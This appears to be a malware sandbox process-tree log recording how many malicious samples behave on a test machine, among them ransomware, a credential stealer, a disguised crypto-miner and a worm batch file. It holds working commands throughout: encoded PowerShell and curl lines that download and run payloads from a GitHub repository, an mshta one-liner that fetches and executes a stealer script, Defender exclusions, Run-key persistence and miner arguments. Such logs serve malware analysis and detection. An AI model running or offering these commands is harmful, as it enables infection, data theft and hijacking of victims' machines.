C:\Windows\System32\svchost.exeC:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:443 --user=476eFXubaxjAwgdtpzHdpzJTQVvjyJTbebFDP3PvfuK1WU3ewDs8tqbf9ZjweyP7EuFELXFPcMrUFiuSajv3HXvZSfyDUuS --pass=SilentMiner --cpu-max-threads-hint=70 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --tls --cinit-stealth8⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"4⤵
-
C:\ProgramData\bnv_Valid\PReflector64.exeC:\ProgramData\bnv_Valid\PReflector64.exe5⤵
-
C:\Users\Admin\AppData\Local\SignHandler.exeC:\Users\Admin\AppData\Local\SignHandler.exe6⤵
-
-
C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe"C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" /u6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\better.exebetter.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl api.ezilax.com4⤵
-
C:\Windows\system32\curl.execurl api.ezilax.com5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_Processor | Select-Object -ExpandProperty ProcessorId"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_BaseBoard | Select-Object -ExpandProperty SerialNumber"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WindowsUpdate.exeWindowsUpdate.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tlp.exetlp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pinaview.exePinaview.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DL8LL.tmp\Pinaview.tmp"C:\Users\Admin\AppData\Local\Temp\is-DL8LL.tmp\Pinaview.tmp" /SL5="$B0318,5716409,740352,C:\Users\Admin\AppData\Local\Temp\a\Pinaview.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exesteamcmd.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exe"C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\steamcmd.exeC:\Users\Admin\AppData\Local\Temp\a\steamcmd.exe5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\mely.exemely.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQBcAG0AZQBsAHkALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQBcAG0AZQBsAHkALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AZQBtAGIAZQByAE4AYQBtAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBlAG0AYgBlAHIATgBhAG0AZQAuAGUAeABlAA==4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bsg.exebsg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cd4.execd4.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\cd4.execd4.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c title C5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c title CD5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c title CD45⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c title5⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe task.vbs3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c DebugConfig.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand YwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcgBlAHMALgBiAGEAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAHMALgBiAGEAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcwAuAGIAYQB0ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA0ACgA=4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\res.bat" "5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAiAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABjAG0AZAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC8AYwAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcADcAegAuAGQAbABsACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwA3AHoALgBkAGwAbAAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcADcAegAuAGUAeABlACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwA3AHoALgBlAHgAZQAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAFIAdQBzAHQATQBlAEQAZQBiAHkAZwAuAGUAeABlACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBSAHUAcwB0AE0AZQBEAGUAYgB5AGcALgBlAHgAZQAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAGwAaQBiAGMAdQByAGwALQB4ADYANAAuAGQAbABsACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBsAGkAYgBjAHUAcgBsAC0AeAA2ADQALgBkAGwAbAAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAGwAaQBiAGMAKwArAC4AZABsAGwAIABoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGQAMQBvAHYAdQAvAHAAbwBuAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAGwAaQBiAGMAKwArAC4AZABsAGwAIAAmACYAIABjAHUAcgBsACAALQBzACAALQBMACAALQBvACAAJQBUAEUATQBQACUAXABsAGkAYgB1AG4AdwBpAG4AZAAuAGQAbABsACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBsAGkAYgB1AG4AdwBpAG4AZAAuAGQAbABsACAAJgAmACAAYwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACUAVABFAE0AUAAlAFwAUgB1AHMAdABNAGUALgBlAHgAZQAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AUgB1AHMAdABNAGUALgBlAHgAZQAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAEQAZQBiAHUAZwBDAG8AbgBmAGkAZwAuAGIAYQB0ACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBEAGUAYgB1AGcAQwBvAG4AZgBpAGcALgBiAGEAdAAgACYAJgAgAGMAZAAgACUAVABFAE0AUAAlACAAJgAmACAAcwB0AGEAcgB0ACAAUgB1AHMAdABNAGUALgBlAHgAZQAgACYAJgAgAHMAdABhAHIAdAAgAFIAdQBzAHQATQBlAEQAZQBiAHkAZwAuAGUAeABlACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACIA6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c curl -s -L -o %TEMP%\7z.dll https://github.com/d1ovu/pon/raw/refs/heads/main/7z.dll && curl -s -L -o %TEMP%\7z.exe https://github.com/d1ovu/pon/raw/refs/heads/main/7z.exe && curl -s -L -o %TEMP%\RustMeDebyg.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMeDebyg.exe && curl -s -L -o %TEMP%\libcurl-x64.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libcurl-x64.dll && curl -s -L -o %TEMP%\libc++.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libc++.dll && curl -s -L -o %TEMP%\libunwind.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libunwind.dll && curl -s -L -o %TEMP%\RustMe.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMe.exe && curl -s -L -o %TEMP%\DebugConfig.bat https://github.com/d1ovu/pon/raw/refs/heads/main/DebugConfig.bat && cd %TEMP% && start RustMe.exe && start RustMeDebyg.exe' -WindowStyle Hidden"7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /c curl -s -L -o %TEMP%\7z.dll https://github.com/d1ovu/pon/raw/refs/heads/main/7z.dll && curl -s -L -o %TEMP%\7z.exe https://github.com/d1ovu/pon/raw/refs/heads/main/7z.exe && curl -s -L -o %TEMP%\RustMeDebyg.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMeDebyg.exe && curl -s -L -o %TEMP%\libcurl-x64.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libcurl-x64.dll && curl -s -L -o %TEMP%\libc++.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libc++.dll && curl -s -L -o %TEMP%\libunwind.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libunwind.dll && curl -s -L -o %TEMP%\RustMe.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMe.exe && curl -s -L -o %TEMP%\DebugConfig.bat https://github.com/d1ovu/pon/raw/refs/heads/main/DebugConfig.bat && cd %TEMP% && start RustMe.exe && start RustMeDebyg.exe8⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer.exeInstaller.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\keepon.exekeepon.exe3⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exeVC_redist.x64.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\schtasks.exe" /Create /TN "rfhtth" /XML "C:\Users\Admin\AppData\Local\Temp\3bd1eec9443d411e80f64bd088daeb41.xml" /F5⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\c18e9b491be14b969c4e528694818b60.xml" /F5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File cheekpieceGAR.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c update0.bat3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File trapapO.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_134.exechrome_134.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\GARO%20X.exeGARO%20X.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\doxxer.exedoxxer.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\doxxer.exedoxxer.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wp.bat3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [32m((,.,/((((((((((((((((((((/, */[97m6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [32m,/*,..*(((((((((((((((((((((((((((((((((,[97m6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[33m[+]0x1B[97m GPP Password"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[33m[+]0x1B[97m GPP Password"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [33m[+][97m GPP Password6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[33m[+]0x1B[97m Cloud Credentials"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[33m[+]0x1B[97m Cloud Credentials"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [33m[+][97m Cloud Credentials6⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File kematian_shellcode.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File main.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c main.bat3⤵
-
C:\Windows\system32\net.exenet session4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
C:\Windows\system32\mshta.exemshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c Worm.bat3⤵
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"4⤵
-
-
C:\Windows\system32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT4⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT4⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"4⤵
-
-
C:\Windows\system32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT4⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT4⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"4⤵
-
-
C:\Windows\system32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT4⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT4⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoWall.exeCryptoWall.exe3⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exeCryptoLocker.exe3⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" "/rC:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" /w000002445⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rod_en_1.exerod_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE /PARENT-INST4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-D105M.tmp\is-4KAT3.tmp"C:\Users\Admin\AppData\Local\Temp\is-D105M.tmp\is-4KAT3.tmp" /SL4 $710EA "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE" 766219 51712 /PARENT-INST5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Prolin.exeProlin.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rmd_en_1.exermd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\setup.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\setup.exe /PARENT-INST4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ILFMG.tmp\is-DDUOV.tmp"C:\Users\Admin\AppData\Local\Temp\is-ILFMG.tmp\is-DDUOV.tmp" /SL4 $30CEE "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\setup.exe" 749088 51712 /PARENT-INST5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rxd_en_1.exerxd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\REXCEL~1.EXEC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\REXCEL~1.EXE4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Auo1.exeAuo1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\agent.exeagent.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cummersMG.execummersMG.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File bsodlogicbomb.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Masquerade-PEB.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-ReflectivePEInjection.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File UACBStartup.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q2osxrmu\q2osxrmu.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7416.tmp" "c:\Users\Admin\AppData\Local\Temp\q2osxrmu\CSCF9D5D9493CAE4CA288864A167865F10.TMP"5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File PowerSyringe.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\NPS.exeNPS.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-Shellcode-fixed.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File OneDoesNotSimplyBypassEntireWinDefender.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\ClassTicket.exeClassTicket.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bugsoft.exeBugsoft.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c c:\windows\jk.bat4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pe2shc.exepe2shc.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\sgn.exesgn.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Brontok.exeBrontok.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Axam.a.exeAxam.a.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Amus.exeAmus.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Anap.a.exeAnap.a.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rickroll.exerickroll.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File NewAmsiBypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
